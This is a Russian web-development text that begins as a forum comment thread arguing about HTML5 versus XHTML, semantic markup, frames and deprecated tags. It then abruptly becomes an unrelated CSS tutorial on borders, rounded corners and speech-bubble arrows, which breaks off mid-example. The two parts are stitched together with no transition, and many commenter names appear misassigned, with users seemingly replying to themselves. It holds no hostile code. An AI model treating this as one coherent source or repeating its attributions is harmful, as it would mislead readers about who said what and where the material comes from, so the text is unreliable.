CMS, логика админки которой становится непредсказуемой от изменения CSS шаблона, сложно назвать юзабельной и универсальной, по-моему. А если мне нужно три сайдбара — два левых и один правый — как мне указать второй слева? Как-то завязывать серверную логику на классы html-элементов («left», «left1» => «слева», «left2» => «справа»)? А при натягивании стороннего шаблона переименовывать всё? Куда юзабельнее и универсальнее, по-моему, чтобы админка показывала визуально расположение панелей с их именами для данного шаблона, а пользователь задавал в какую панель поместить блок по её имени.
vanxant
Вы мыслите Jooml-ой
TheShock
Отличная статья, прочитал на одном дыхании. Спасибо. Был не в курсе про изменение поведения тэга a. *Пошёл проверять свои реализации*
vanxant
HTML не настолько хорош, как тут пытается рассказать автор ;)

В частности, frames deprecated, а что на замену?

И сейчас не вспомню, но там еще есть толпа других проблем
TheShock
А зачем вам фреймы? Тогда уж и обсудим замену.
vanxant
Сплиттеры. Единственный способ их сделать нативно, без толп яваскрипта. И хоть с какой-то поддержкой в том же mobile safari
TheShock
*Я научусь просматривать ссылки прежде, чем их постить*

methvin.com/splitter/
vanxant
Ага, значит это штучка между двумя блоками, которой можно регулировать их размер?
И именно для этого нужно оставить в стандарте фреймы, которые имеют кучу недостатков?
Тем более, вам не надо писать кучу js-кода, ведь он уже написан в виде плагина для jQuery
marapper
> И именно для этого нужно оставить в стандарте фреймы, которые имеют кучу недостатков?

Недостатки надо устранять, а не убирать с глаз долой.

> Тем более, вам не надо писать кучу js-кода, ведь он уже написан в виде плагина для jQuery

И еще десятка других плагинов. Повторю:

Убрать функциональность полностью и сказать «трахайтесь, реализуйте сами» — это не прогресс, а регрессия.

Повторю:

И хоть с какой-то поддержкой в том же mobile safari
vanxant
Кстати, а можете перечислить недостатки фреймов?
marapper
Фрейм, в данном случае, является логикой поведения. То что ms не поддерживает скрипты, означает то что ему нужно подсовывать мобильную версию софта, без скриптов и html5, на каком нибудь chtml, а не то что нужно реализовывать логику поведения на html. А с dragenter-dragleave событиями html5 сплитер становится легок в реализации как никогда…
vanxant
При чем тут MS????

>А с dragenter-dragleave событиями html5 сплитер становится легок в реализации как никогда…

Нихрена он легким не становится. Не говоря уже о мобильных браузерах
TheShock
Mobile Safari ведь
marapper
Намного легче чем отлавливать и хранить событие mousedown, mousemove, mouseup… А про мобильные браузеры я уже сказал: Нефиг пользователю с экраном в 320x240 подсовывать сплиттеры, использовать надо тот инструмент, который для этого заточен.
Убрать функциональность, которая скорее вредна, чем полезна — добро. Это как заменить карбюратор на инжектор в машине, вместо того чтобы прикручивать к карбюратору микроконтроллеры…
marapper
> Намного легче чем отлавливать и хранить событие mousedown, mousemove, mouseup…

Все равно нафига это реализовывать самому с нуля?

> Нефиг пользователю с экраном в 320x240 подсовывать сплиттеры, использовать надо тот инструмент, который для этого заточен.

Вы про iPad слышали? Нет? Просветитесь

> Убрать функциональность, которая скорее вредна, чем полезна — добро.

Фреймы внезапно стали вредными? Нуну. Как много нам открытий чудных…
VolCh
И, вдобавок. Убрать функциональность полностью и сказать «трахайтесь, реализуйте сами» — это не прогресс, а регрессия.
alexbeep
миллион лет их не видел :). ну, кроме одного на js :)
SonicGD
Зато в сложных системах/cms/интранетах они используются на ура
dmitriid
Браузерка. Фрейм под чат, фрейм под список игроков онлайн, основной фрейм.
Речь о текстовых браузерках, а-ля БК.
TheShock
javascript'ом получится намного лучше.
dmitriid
Не хочу начинать холивар, но на JS придется делать тучу кода, чтобы работало хотя бы то же изменение размеров фрейма путем перетаскивания границы мышью.
TheShock
Ага. Тоже в сплитерах проблема?
dmitriid
Ну в основном да, не считая работы по переделке кода.
dmitriid
Старая добрая табличка иной раз спасает :)
TheShock
Так уж и кучу jqueryui.com/demos/resizable/
dmitriid
И тащить за собой фреймворк?
chaliy
Нет, на ассемблере все написать.
aavezel
[irony]Браузеры не умеют отображать ассмеблер :([/irony]
dmitriid
Умеют, вот:
.386
.model flat, stdcall
option casemap:none
include \masm32\include\windows.inc
include \masm32\include\kernel32.inc
includelib \masm32\lib\kernel32.lib

.data
msg db "Hello, world", 13, 10
len equ $-msg

.data?
written dd ?

.code
start:
push -11
call GetStdHandle

push 0
push offset written
push len
push offset msg
push eax
call WriteFile

push 0
call ExitProcess
end start
TheShock
Каюсь, применил неверный глагол.
Не умеют исполнять ассемблер.
dmitriid
реквестирую в топик какой-нибудь джаваскрипт-эмулятор асма…
aavezel
Я знал содержание коммента еще до открытия уведомления о нем :D

По-моему, таковых нет.
dmitriid
dmitriid
I fail :P
hshhhhh
основан не на SGML, а на XML, то есть представляет собой совершенно другой язык
XML является подмножеством SGML.

Вообще, стандарт XHTML потребовался для того, чтобы использовать HTML-подобную разметку внутри XML-документов.
Не совсем так, хотя для этого он тоже пригоден. Вы можете и так использовать HTML-разметку (с незакрытыми тэгами и незакавыченными атрибутами) внутри XML — завернув ее в секцию CDATA.
W3C создавала XHTML с расчетом, что разработчики будут создавать свои неймспейсы и использовать их. После чего они посмотрели бы на часто используемые неймспейсы и включили бы их в следующий стандарт.

В XHTML существуют правила, например, запрет вложенности для тегов <a> и <p>, которые не могут быть выражены в терминах XML.
А в терминах чистого XML такие вещи и не контролируются. XML должен быть well-formed. Всякие вещи типа вложенности тэгов, допустимости у их тех или иных атрибутов и т.д., т.е. все, что касается именно валидности, контролируются средствами проверки грамматики — типа DTD, XSD и RelaxNG.
dmitriid
Ваще-то легко. XSD позволяет указать элементы, которые разрешается вкладывать. Соответственно, все неперечисленные — запрещено.
Ну, а в RNG это еще проще.
А в DTD, кажется, не получится — но я не говорю, что это равнозначные технологии.
mephisto
Не понимаю зачем ждать. Уже сейчас можно использовать HTML5, вообще не вижу причин не делать этого. Я на всех проектах по умолчанию верстаю в HTML5.
TheShock
>Я на всех проектах по умолчанию верстаю в HTML5.
Под версткой в HTML5 вы понимаете верстку с doctype HTML5 или избыточную и инвалидную верстку с костылями для броузеров которые не поддерживают новшества HTML5, еще не принятого в качестве стандарта?
mephisto
Инвалидная означает, что верстка ходит на JS-костылях, а без них она превращается в говно.
Отдельные продвинутые индивидуумы типа TecHMeaT, считают это нормой. Впрочем у него много заблуждений. Например он уверен, что тупорылому Яндексу непофиг какой стандарт используется для верстки. Это, кстати, достаточно оригинальная и свежая ересь.
TheShock
Спасибо за комплимент :)
Да, считаю нормой. Объясняю свою позицию. В нормальных браузерах всё хорошо, а у ослов всегда всё тормозило, и если сайт отрисуется на полсекунды медленнее, чем в нормальном браузере — да ну и что, пользователи ослов привыкли к тормозам, они не заметят разницы.
Кроме «тупорылого» Яндекса есть еще несколько поисковиков. Всем им пофиг какой стандарт. Им важна семантика. Так уж сложилось, что HTML5 семантичнее старых версий. Логично?
И вся эта моя «ересь» не единожды подтверждалась на деле в реальных проектах.
Удачно вам оставаться на прямых ногах в прошлом, а я на костылях побежал в будущее!
mephisto
>а я на костылях побежал в будущее!
С человеком бегущим на костылях в будущее особо спорить не хотелось бы. Но все же.
>у ослов всегда всё тормозило, и если сайт отрисуется на полсекунды медленнее,
Неприятность в костылях не столько в задержке, а в том что пока они не отработали сайт отображается криво, а потом скачками начинает выправляться. Причем если верстка сложная, а элементов требующих костылей много, полсекундой может и не обойтись — юзеры IE работают не на самых новых комп.
>И вся эта моя «ересь» не единожды подтверждалась на деле в реальных проектах.
Это и есть ересь. Говорить о влиянии чего-либо на алгоритмы поиска основываясь на 2-3 «реальных проетах», может толкьо человек не понимающий что такое SEO. Вы даже не удосужились погуглить эту тему. Я это сделал за вас:
Почитайте что по этому поводу думают в Google:
www.google.com/support/forum/p/Webmasters/thread?tid=1d3850aec4e3dd96&hl=en
— здесь специалисты Google говорят что им пох HTML5
www.google.com/support/forum/p/Webmasters/thread?tid=2d4592cbb613e42c&hl=en
— Здесь они говорят то же самое и рекомендуют особо торопливым бежать на костылях взад:
Personally, I would recommend using HTML5 where you think that it already makes sense, perhaps reverting to HTML4 if you can determine that the browser won't support the elements of HTML5 that you use properly. While this will not result in an advantage for your content in our search results, it generally wouldn't be disadvantageous either.
s0rr0w
Чёрт, Вы меня не переубедили )
Через 2 года сегодня оставленные мною костыли будут уже просто лишней строчкой в коде.
А гуглил ли я… Я перечитал достаточно много литературы по этому поводу, в том числе документацию Google, где достаточно ясно написано, каким для него код является идеальным. Разработчики Google на конференциях повторяют тоже самое и приводят факты.
Действительно, не будем спорить. Пусть каждый решит для себя что есть идеал.
MihallicA
Вы наверное матерый продвигайзер, куда мне, грузчику с ликероводочного…
Это я так, наткнулся на пару текстов в гуглокоде, подумал, что полезная инфа, наверное они меня наивного обманули. Что-то где-то еще находил, но там по басурмански написано было, наверное я не так понял смысл :(
Всё-всё, больше не спорю. Теперь я постиг вселенскую истину!
mephisto
Бывают случаи, когда целевой аудиторией является бот Яндекса.
Тогда можно хоть HTML 1 использовать, лишь бы он страницы кушал :)
MihallicA
Понимаете, пока не вышел IE9 — могут быть эээ… сюрпризы. Ну оно конечно здорово, что стандарт предельно понятный и точный, но вот с IE никогда нельзя знать заранее. А вдруг они какой-то пункт поняли не так? И из-за этого ваша верстка поплывет?
mephisto
С CSS3 можно этого опасаться, с HTML5 всё устаканилось и сюрпризов не будет. Я имею ввиду только разметку HTML5 а не тренд в целом. Никто никуда не поплывет )
MihallicA
Во всех проектах используете header footer article и прочий nav?
mephisto
По умолчанию, если нет обстоятельств против этого.
vanxant
Верстая левую колонку сайта, запрещается называть её #left, потому как на самом деле это не просто левая колонка, а тулбар

Потому, что когда мы захотим сделать поддержку арабского или иврита, колонка #left в комбинации direction: rtl; будет вызывать разрыв шаблона. Впрочем, так делать было неправильно и для HTML 4.01 То, что это зафиксировали в гайдлайнах — это правильно.

что в html-коде почти любой современной страницы можно наблюдать цепочки вида </div></div></div>. В количестве этих </div> очень даже легко ошибиться

Эммм, вы не пробовали редактировать код сайта не в нотепаде, а в редакторе с подсветкой парных тегов и переходами между ними? Если уж более «девелоперский» Scite это умеет, то всякие Notepad++ — тем более.

особенно если на странице есть контент, отправленный рядовыми пользователями. Лишний или просто расположенный не там </div> может привести к развалу всей верстки

А вот за возможность рядовым пользователям писать произвольный HTML, еще и без контроля за парностью тегов нужно отрывать кий. По самую бабушку.
mephisto
Как отобразить браузеру или подсветить редактору невалидные конструкции? (Почему их нужно все равно отображать написанно в статье).

<div><div><div></div></div>
Не закрыт внешний тэг? (А внешние тэги отвечают я верстку макета)

Но судя такой записи
<div><article><div></article></div>
Можно утверждать что ошибка в нутри контейнера article и отобразить страницу более корректно

PS За незакрытые тэги нужно не только кий отрывать…
jefe
Юзайте HAML, юзернеймы :)
mephisto
> Как отобразить браузеру или подсветить редактору невалидные конструкции?


О да, автоматическое исправление таких тривиальных (если не сказать «тупых») ошибок — очень полезно. Чтобы Вася Пупкин мог не отвлекаться на всякие мелочи типа незакрытых тегов при разработке своего мега-портала.
k12th
Не так хороша статья, как ее заголовок =). Спасибо, порадовали с утра =). Теперь работаться будет веселее =)
vanxant
В статье интересные моменты почерпнула. Особенно про тег .
А про то, что лучше атрибуты тегов не брать в кавычки, я бы ой как поспорила. И про создание валидного кода автоматическими редаторами тоже бы высказалась…

Но я рада, что доктайпов стало меньше. И за фреймы я рада. Давно им сказала R.I.P., рада и Transitional туда проводить…

В общем, статья приятная. Спасибо.
k12th
>А про то, что лучше атрибуты тегов не брать в кавычки, я бы ой как поспорила

Аналогично. Тем более, что заковыченные строки, как правило, даже в довольно простых редакторах выделяются цветом, и сразу визуально фильтруется — где имя атрибута, а где его значение.
TecHMeaT
вот что меня больше всего напрягает в этих стандартах, так это их ну слишком долгое принятие.
блин, ребята, вы же рулите всем вебом. увеличьте штат за счет представителей от браузеров и утверждайте каждый год
aps
Все-таки не понимаю, зачем бояться закрывающих тегов, лишний раз напрягая парсер и заставляя его догадываться что где. Сразу верстая «валидно» — то есть держа в голове правила «здесь ковычки, здесь закрыть» избавляемся от кучи головной боли при дебаггинге, так как уверены что проблема не в криво отпарсившемся коде а в чем-то более серьезном.
А современные средства типа HAML вообще позволяют сверстать один раз, а вывести хоть в HTML хоть в XHTML. Сам давно верстаю с доктайпом HTML закрывая теги везде. Никто не умер.
TheShock
Ошибка номер раз

«Девочка» может спокойно в документах писать < вместо &lt;, если это CDATA

Ошибка номер два

Между B и STRONG разница есть, и приличная. Корни уходят в книжную типографику, когда акценты в фразах выделялись именно strong-ом. Сегодня на них могут и должны реагировать аудио-читальщики текста, делая «ударение» на словах в этом теге.

Например «Это <strong>МОЙ</strong> хлеб и я его никому не отдам!» Тут strong уместен

А в фразе "<b>Начало производства</b>. Начинать производство нужно с разрешительных документов." выделение несет чисто визуальных характер, никакого акцента, никаких эмоций.

Личное недовольство

<header>, <footer>, <article> и прочие <nav> — капля в море, которая не закрывает и 10% потребности в тегах. Очень жаль, что никто из w3c не додумался до смешения всех плюсов XML и HTML, сделав XML для оформления и структуризации с вольным именованием тегов и микроформатами в придачу, и HTML для контента. Будем теперь мучаться с вечным дифицитом тегов. Или забъем и будем и дальше использовать собственные теги.
aps
С последним абзацом совершенно согласен. Ведь в чём проблема сделать «пользовательские теги» стандартными и с поведением по-умолчанию, как у div/span? Было бы просто отлично!
TecHMeaT
Никто и не мешает это делать :) Уже три года использую в интерфейсных решениях. Доволен что слон.
aps
Ага, тоже пробовал юзать, но невалидно) Пока таки не использую.
TecHMeaT
Валидность — субъективное понятие. Никто не мешает написать <!DOCTYPE HTMLX> :) С точки зрения вашего стандарта, все будет валидно.

aps
Проблема в том, что в html6 введут тэг с таким же названием, но допустим с поведением таблицы. И ваша страничка сделает опаньки.
Правильным решением было бы использовать неймспейсы, типа <my:superdiv>
TecHMeaT
Человек привыкает ко всему. Так что не так страшен черт, как его последователи :)
antivir
Так я так и использую. Свой неймспейс и вперед!
TecHMeaT
Спасибо, отличная статья. А про смерть <u> не знал. Прям грустно стало как-то.
vanxant
Если я не ошибаюсь, подчёркивание как элемент типографики это неуклюжее наследие печатных машинок. Они имели единственную гарнитуру, и, как следствие, были лишены курсивного начертания, необходимого для выделения текста. Взамен использовалось подчёркивание.

Я считаю, всё правильно сделали. Подчёркиванием, чаще всего, злоупотребляют.
TecHMeaT
Если бы хотели убить подчеркивание как стиль, убрали бы из CSS text-decoration:underline
Тут именно что семантисты убрали тег.
Нет, я все понимаю, ну объявите его deprecated, ну дайте ему определение «использовать только для целей совместимости», но убирать из стандарта-то зачем?
Понимаете, 90% верстальщиков не перестанут пользоваться этим тегом, поэтому из браузеров его тоже не уберут.
Получим в итоге, что в стандарте тега нет, а по факту есть и везде работает.
Такая ситуация только подрывает авторитет стандарта и ничего не более.
VolCh
text-decoration:underline нужен для ссылок :)
TecHMeaT
После прочтения статьи у меня сложилось мнение, что ничего хорошего с тегами в html5 не сделали. Одни убрали, ввели кучу новых, часть старых взяли и стали использовать для другого, у многих тегов теперь обтекаемое описание. Закрывающие теги оставили. Имхо, порядка больше не стало это точно.
kirilloid
Порядок должен быть в голове.
gernovich
Вставлю свои 5 коп:
1. Всё-таки не закрывать теги это кощунство. Хотя бы даже в нормальном редакторе, потому что последний сразу же теряется в догадках по поводу начала и конца блоков.
2. По семантике у Вас какие-то крайности. То left, то toolbar. Да, лефт это неправильно, т.к. это имя нарицательное в семантике, а вот тулбар уже имя собственное. То есть в боковой колонке может быть не только тулбар. Тулбар это как компонент страницы, а боковая колонка (левая/правая) это скелет страницы. К тому же, как я понимаю, элемент остался жив в конечной (ну почти конечной) спеке и выполняет эту роль как нельзя лучше.

В остальном полностью согласен с поправкой на то, что нужно внедрять html уже сейчас. Нет смысла ждать.
MihallicA
Ну какбы если html-редактор теряется в валидной html верстке, это плохой редактор.
kirilloid
Aptana/Eclipse если что. Я за ним уже два года и назвать плохим, Вы знаете, язык никак не поворачивается.
elve
Там, в конце, про aside было. Парсер слопал его.
AnGr
Сегодня утром начал новую вёрстку с, совершенно новые ощущения, будто трогаешь руками обнажённые нервы.
vshemarov
xxx: ничто так не оптимизирует код, как один пропущенный

ibash.org.ru/quote.php?id=14006
derSmoll
</div> ?)
MihallicA
i cannot into habra markup
s0rr0w
use "&lt;", "&gt;" and another special chars
TheShock
Спасибо, статья порадовала! Вступление забавное :)
s0rr0w
Искренне благодарю за статью! Очень интересно
TheShock
Автор статьи совершенно не разбирается в предмете. Он не понимает, что такое SGML и XML, что такое их приложение, что такое правильно построенный (well-formed) и валидный XML-документ. Он даже XML-элементы называет тегами, хотя при описании семантики это неверно (даже стандарт HTML5 всячески пытается уйти от текстового представления документа с его тегами). Ну или вот прекрасное
В xhtml же технически возможен (и с точки зрения XML даже валиден!) вот такой код:
текст ячейки текст между ячейками, отображайте где хотите

хотя если почитать XHTML In XML Schema, то увидим такое
  <xs:element name="tr">
    <xs:complexType>
      <xs:choice maxOccurs="unbounded">
        <xs:element ref="th"/>
        <xs:element ref="td"/>
      </xs:choice>
      <xs:attributeGroup ref="attrs"/>
      <xs:attributeGroup ref="cellhalign"/>
      <xs:attributeGroup ref="cellvalign"/>
    </xs:complexType>
  </xs:element>

и где тут mixed=«true» у complexType?

Или вот никак не могу согласиться:
Однако, подобное поведение — отказ от обработки всего документа при обнаружении любой ошибки — абсолютно неприемлемо для веба, где большую часть контента создают отнюдь не программы и даже не верстальщики, а сайт-менеджеры, писатели, блоггеры и, зачастую, рядовые посетители сайтов

программы этот контент нам презентуют во вменяемом виде. Конечно, кто-то до сих пор пишет HTML в блокнотике. Но вообще, обычно берут CMS, у которой есть либо WYSIWYG-редактор, либо язык вики-разметки. Так вот в любом случае, текст, введённый пользователем, нужно тщательно отпарсить во внутреннее представления и потом по внутреннему представлению генерить (X)HTML, подставляя, где нужно, теги (в том числе и закрывающие) и экранируя текст. Если всего этого CMS делать не умеет, то грош ей цена
Постоянные переключения синтаксиса в одном файле ни к чему хорошему не приводят, глаз программиста замыливается, и становятся возможными достаточно трудно вылавливаемые синтаксические ошибки.

Ну во-первых, не надо уж использовать упомянутый чуть выше PHP (впрочем, лучше вообще его не использовать) не по назначению. Может, не следует генерить (X)HTML из кода, а взять шаблонизатор? Тогда таких проблем не возникнет.
s0rr0w
Да при чём тут XML-фанатизм? Как раз я-то разбираюсь в чисто технических вещах и у меня есть строгие доводы в пользу XML. А вот Ваша статья как раз демонстрирует фанатичную любовь в SGML-синтаксису HTML, подкрепляемому неверными или сомнительными доводами. Вот этот Ваш ответ, извините, — пустая демагогия.

Почему XML-синтаксис не прижился? Потому т.н. «веб-программисты» не осилили. Потому что W3C занимались синтаксисом, а не пытались сделать что-то для улучшения семантики HTML. Кстати, HTML5 ничего не говорит о синтаксисе. Точнее, там он присутствует, но описание HTML-элементов даётся в нейтральной манере, чтобы можно было семантику завернуть в любой синтаксис. Кстати, если глянуть на XHTML 1.0, то можно увидеть, что по сути это такой же XML-синтаксис для HTML 4. Так что противопоставлять XHML и HTML5 попросту неверно, т.к. это всё равно, что противопоставлять HTML 4 и HTML5 — разумеется, второй лучше. А почему XHTML 2 так и не был готов? А не потому, что разработчики принадлежали к сектам семантистов и XML-истов, а потому, что были банальными бюрократами.
vanxant
XML-синтаксис «не пошел»… потому что он просто не применим к вебу, в 99% случаев не дает никаких плюшек, но при этом замусоривает код большим количеством цифрового шума и менее адекватен поставленной задаче, чем HTML.

Ага, этому и посвящена достаточна большая часть Вашей статьи. Вот только чтобы такие вещи утверждать, мало их написать на заборе. И ниже Вы начинаете пояснять, почему так. Так вот моё утверждение: все эти аргументы несостоятельны. Потому что банально неверны. Почему неверны, можно понять, разобравшись путём с XML. В принципе, я в первом комментарии кратко объяснил, что к чему. Но Вы-то ярый борец с «XML-сектой», потому, видимо, разбираться с XML — ниже Вашего достоинства.
Почему я должен спорить с вами об XML схемах? К вебу они не имеют ну совсем никакого отношения, и поэтому в моей статье про них ничего нет.

Ну какой-то мифический получается веб. В вебе что используется? HTML/XHTML. Формально их синтаксис описать надо? Надо. А это и делается с помощью DTD или более мощного средства, существующего в XML-мире — XML-схем. Ну вот я привёл кусок такого формального описания. Можно было бы и кусок DTD скопипастить. Или вообще кусок текста из стандарта. Однако, текст небезгрешен, его можно трактовать по-всякому, не в пример формальному описанию.
Вы предлагаете «вообще не использовать PHP» и «взять шаблонизатор», хотя PHP и есть в чистом виде шаблонизатор, прокладка между базой данных и веб-браузером.

PHP — не лучший шаблонизатор. Я бы предпочёл apache velicity, razor или самописный. Некоторые суровые парни высказались бы в пользу XSLT. Но это неважно. А важно то, что при прямом использовании проставлять кавычки и закрывающие теги в PHP не сильно страшно, вопреки Вашему ещё одному аргументу против XML-синтаксиса HTML (или XHTML, что верно для HTML 4).
TheShock
Она, эта победа, как раз и одержана над такими как вы и TheShock. Пока семантисты и XML-исты занимались семь лет ерундой, технари своими силами решили проблему.

Вот в этом и есть ваш фейл. html5 поддержал идеи семантики, а не опроверг их! Часто используете хедеры-навы-футеры? Вот вам соответсвующие теги. Нужны пользовательские атрибуты? Вот вам «data-»! Та даже те же новые виды инпутов. Всё-равно проверки делаются javascript-ом давно, они нужны только для пущей семантики!

Зато убрали теги center, font, strike. Переосмыслили теги <b> и <i>:
The b element now represents a span of text to be stylistically offset from the normal prose without conveying any extra importance, such as keywords in a document abstract, product names in a review, or other spans of text whose typical typographic presentation is emboldened.

The i element now represents a span of text in an alternate voice or mood, or otherwise offset from the normal prose, such as a taxonomic designation, a technical term, an idiomatic phrase from another language, a thought, a ship name, or some other prose whose typical typographic presentation is italicized. Usage varies widely by language.


Ещё раз обратите внимание, убрали тег <center>, а не добавили теги <left> и <right> в стиле того маразма, который вы предлагали выше. Вместо классов col1 и col2 теперь желательно использовать использовать aside.

html5 принес больше семантики, чем xhtml и html4 вместе взятые. И это именно победа над такими как вы, которые не думают о будущем своего проекта, о тех, кто будет его поддерживать и развивать. Вы будете терпеть из-за этого убытки и это ваше наказание, и ваше решение принимать его в обмен на возможность не вникнать в суть проекта.
s0rr0w
Если кто не понял, то теперь b и i — это не теги «жирный» и «курсив», а несут смысловую нагрузку.
s0rr0w
Тугой — это вы. Но вы этого не поймёте, потому что никогда не услышыте прот те лучи ненависти, которые будут вам направлять люди, поддерживающие вашу писанину.
RReverser
В больничку надо автору этого маразма. На крайняк — вон из профессии.

Как и тому, кто использует <b> вместо <span class="vector"></span>. Потому что автор математических текстов всё-равно будет их вставлять специальной кнопкой. Зато если заказчик скажет: «анука сделай, чтобы все векторы были картинкой со стрелочкой» и если у вас нормальная верстка — написали кусок js-a и вуаля. А так — придётся перечитывать все тексты, где там <b> вставлено чтобы вектор выделить, а где чтобы слово акцентировать.
m17
У меня аргументы закончились, а у вас их и не было)
Не надо так категорично отзываться о семантистах. Вспомните, что было до прихода css и ужаснитесь, какой веб был бы сейчас, если бы не семантисты. А вы тут так нас покрываете.)
vanxant
Первые два абзаца — лучшее, что написано в этом посте.
Любить XML или нет, но разработчик, тем более руководитель оных, должен владеть правильной терминологией или стремиться к этому.
VolCh
Я просто в восторге от стиля изложения автора! Отличная статья, во многих случаях мнения сходны.
Zyava
Как и многие вышевысказавшиеся выражаю большое спасибо вашему слогу и вообще содержимому статьи, согласен во многом, особенно в части про семантический маразм
TheShock
Так вы поддерживаете автора или против его позиции в вопросе семантики?
almazmusic
Неясна ваша позиция.
vanxant
Я против семантического экстремизма, во всем должен быть здравый смысл. И блоки я буду именовать так, как захочу, хоть left-col хоть sidebar хоть aside.

И естественно id/class нового блока буду писать исходя из соображений адекватности, в том числе, если блок переедет слева вправо он сразу же сменит IDшник или класс, если оно задано явно.

Про 100% стилизацию при помощи одного только css не стоит поднимать полемику — тут я на 100500% согласен с автором статьи, обычно 1 макет, одна верстка. В следующем варианте будет другая. Я сделал такой вывод исходя из своего почти 8-летнего опыта. Для всего остального есть абсолютно независимая верстка, но это не тема данной статьи
almazmusic
Пепелсбей, приди!
almazmusic
Больше всего удивляет, чем не угодил тег подчеркивания. Тем, что им «слишком часто» пользуются? Может, те, кто это утверждают, еще и сайты за меня делать будут? Чего уж там, давайте!
p10ner
Однако, подобное поведение — отказ от обработки всего документа при обнаружении любой ошибки — абсолютно неприемлемо для веба, где большую часть контента создают отнюдь не программы и даже не верстальщики, а сайт-менеджеры, писатели, блоггеры и, зачастую, рядовые посетители сайтов.


Вот именно, что контента. Код же этим людям писать не следует, на то визуальные редакторы есть.

В XHTML существуют правила, например, запрет вложенности для тегов <a> и <p>, которые не могут быть выражены в терминах XML.


Если какие-то правила нельзя выразить с помощью XSD или DTD, то почему их можно выразить с помощью только DTD?

Бывают, например, произведения классиков, в которых они используют курсив и полужирное начертание исключительно в художественных целях (то есть так, как им лично захотелось), или, может, в соответствии с устаревшими на данный момент правилами языка, или еще как-то не по правилам.


Классики могут любое оформление текста использовать в художественных текстах. И что, весь CSS в HTML обратно запихивать?
aspect
Ну, в-общем, да. Великий поэт и писатель Максим Горький (Пешков) очень точно сказал про этих всех Бернерсов-Ли: «рожденный ползать летать не может.» И он прав. Все, что они могут — это сохранить наследие Мастера. И права вносить свои семантические правки им никто не давал.
aspect
Перечитаю эту замечательную и полную оптимизма статью о победе HTML5 года через 2, нет 5…
Напомните только о ней, pls :)
Все знакомы с css параметром border, но есть ли вещи, которые мы не знаем о нем?

Основы


Всем знакомо такое использование:
border: 1px solid black;

Это однопиксельная сплошная рамка. Немного меняем синтаксис:
border-width: thick;
border-style: solid;
border-color: black;

Например у параметра border-width есть три параметра: thin, medium, thick:

Если необходимо менять цвет границы при наведении на объект:
.box {
    border: 1px solid red;
}
.box:hover {
    border: 1px solid green;
}

Но так это реализовать проще и правильнее:
.box {
    border: 1px solid red;
}
.box:hover {
    border-color: green;
}

Border-Radius


border-radius — это новый параметр CSS3 для отображения закругленных углов, который корректно работает во всех современных браузерах, за исключением Internet Explorer 8 (и более старых версий).

Для каждого угла можно назначить свое закругление:
border-top-left-radius: 20px;
border-top-right-radius: 0;
border-bottom-right-radius: 30px;
border-bottom-left-radius: 0;


В приведенном примере необязательно назначать «0» border-top-right-radius и border-bottom-left-radius, если они не наследуют значения, которые должны быть изменены.
Всю конструкцию можно сжать в одну строку:
/* top left, top right, bottom right, bottom left */
border-radius: 20px 0 30px 0;

А вот как можно нарисовать лимон средствами CSS:
.lemon {
   width: 200px; height: 200px; 
   background: #F5F240;
   border: 1px solid #F0D900;
   border-radius: 10px 150px 30px 150px;
}


Здесь описаны самые простые и популярные примеры применения параметра border. Перейдем к более сложным.

Несколько границ


Border-Style

solid, dashed, and dotted — самые популярные значения параметра border-style, но давайте рассмотрим другие, например, groove and ridge.
border: 20px groove #e3e3e3;

Или более подробно:
border-color: #e3e3e3;
border-width: 20px;
border-style: groove;


Outline

Самый популярный способ создания двойной границы — это параметр outline:
.box {
   border: 5px solid #292929;
   outline: 5px solid #e3e3e3;
}


Этот способ отлично работает, но ограничен созданием двойной рамки. Если вам необходимо отобразить несколько границ элемента, то необходимо использовать другую технику.
Псевдоэлементы

Можно использовать такую конструкцию:
.box {
  width: 200px; height: 200px;
  background: #e3e3e3;
  position: relative;
  border: 10px solid green;
}
/* Create two boxes with the same width of the container */
.box:after, .box:before {
  content: '';
  position: absolute;
  top: 0; left: 0; bottom: 0; right: 0;
}
.box:after {
  border: 5px solid red;
  outline: 5px solid yellow;
}
.box:before {
  border: 10px solid blue;
}


Возможно это не самое элегантное решение, однако оно работает
Box-Shadow

Еще один способ, с применением теней:
.box {
    border: 5px solid red;
     box-shadow:
       0 0 0 5px green,
       0 0 0 10px yellow,
       0 0 0 15px orange;
}


Изменение углов


К параметру border-radius можно применять два значения, используя "/", например:
border-radius: 50px / 100px; /* horizontal radius, vertical radius */

Это то же самое, что:
border-top-left-radius: 50px 100px;
border-top-right-radius: 50px 100px;
border-bottom-right-radius: 50px 100px;
border-bottom-left-radius: 50px 100px;

Эта техничка бывает полезна, если необходимо имитировать искривление, а не закругление. Например, так можно получить эффект скрученной бумаги:
.box {
    width: 200px; height: 200px;
    background: #666;
    border-top-left-radius: 15em 1em;
    border-bottom-right-radius: 15em 1em;
}


CSS фигуры


В следующих примерах предполагается такая разметка:
<div class="box"></div>

И такой базовый css:
.box {
   width: 200px;
   height: 200px;
   background: black;
}

Наиболее частым примером использования CSS фигур является отображение стрелок. Чтобы понять, как это работает, необходимо разобраться с использованием отдельного border-color для каждой стороны и установкой значения «0» для width и height:
.arrow {
  width: 0; height: 0;
  border-top: 100px solid red;
  border-right: 100px solid green;
  border-bottom: 100px solid blue;
  border-left: 100px solid yellow;
}

Или то же самое:
.arrow {
  width: 0; height: 0;
  border: 100px solid;
  border-top-color: red;
  border-right-color: green;
  border-bottom-color: blue;
  border-left-color: yellow;
}

Или так:
.arrow {
  width: 0; height: 0;
  border: 100px solid;
  border-color: red green blue yellow;
}


А теперь оставляем только синий треугольник:
.arrow {
  width: 0; height: 0;
  border: 100px solid;
  border-bottom-color: blue;
}



Создание Speech Bubble


Наша базовая разметка:
<div class="speech-bubble">Hi there!</div>

И стили:
.speech-bubble {
    position: relative;
    background-color: #292929;
    width: 200px;
    height: 150px;
    line-height: 150px; /* vertically center */
    color: white;
    text-align: center;
}


Теперь нужно расположить стрелку-треугольник в нужном месте. Вот наш цветной квадратик:
.speech-bubble:after {
  content: '';
  position: absolute;
  width: 0;
  height: 0;
  border: 10px solid;
  border-color: red green blue yellow;
}


Оставляем только четверть квадратика:
.speech-bubble:after {
  content: '';
  position: absolute;
  width: 0;
  height: 0;
  border: 10px solid;
  border-top-color: red;
}


Теперь перемещаем ниже и закрашиваем:
.speech-bubble {
   /* … other styles */
   border-radius: 10px;
}
.speech-bubble:after {
  content: '';
  position: absolute;
  width: 0;
  height: 0;
  border: 15px solid;
  border-top-color: #292929;
  top: 100%;
  left: 50%;
  margin-left: -15px; /* adjust for border width */
}


Примеры применения:
/*
   Speech Bubbles
   Usage: Apply a class of .speech-bubble and .speech-bubble-DIRECTION
   <div class="speech-bubble speech-bubble-top">Hi there</div>
*/
 
